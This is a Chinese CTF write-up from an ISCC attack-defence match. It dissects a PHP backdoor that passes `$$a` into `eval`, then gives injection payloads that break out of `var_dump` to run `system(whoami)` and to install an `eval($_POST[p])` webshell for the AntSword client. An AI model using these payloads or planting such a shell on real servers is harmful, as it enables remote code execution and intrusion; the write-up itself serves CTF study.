在iscc线下赛awd中遇到了一个shell,挺有意思,记录一下。
源代码是这样的。其实刚拿到这个shell的时候我挺蒙的,不知道该怎么去利用,然后分析了一下,发现其实也还简单,下面我们一起来看下。
<?php
show_source(__FILE__);
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
首先从请求中拿到$a
参数,然后经过一次var_dump
输出$$a
的值,最后交给eval
去执行。
那么显然eval
的参数我们是可以控制的,关键的点就在于怎么去控制var_dump
函数输出的内容。
我们先来看下var_dump函数的效果
$a= 'phpinfo();';
var_dump($a);
浏览器输出
E:\code\php\1.php:8:string 'phpinfo();' (length=10)
可以看出来他会把变量的类型和变量的值都输出出来。
然后我们回头来看$$
,在之前的文章中提到过,$$
是存在变量覆盖的,那么我们可以通过$$
来把a
变量覆盖为我们想要的值。
可以看到,当我们post提交a=a=1
是,$a
的值被覆盖为1,此时eval
执行的是eval("var_dump($a=1);")
那么我们继续构造payload,闭合var_dump
来拼接我们自己的函数。
post
a=a=1);system(whoami
利用成功!
那么怎么让蚁剑也能用这个shell呢?继续修改我们的payload
post
a=a=1);eval($_POST[p]);//
然后蚁剑配置
密码是p。这样就能连上蚁剑了。
s1ye师傅提出了另一种思路${}
。他个臭嗨又偷偷看我文章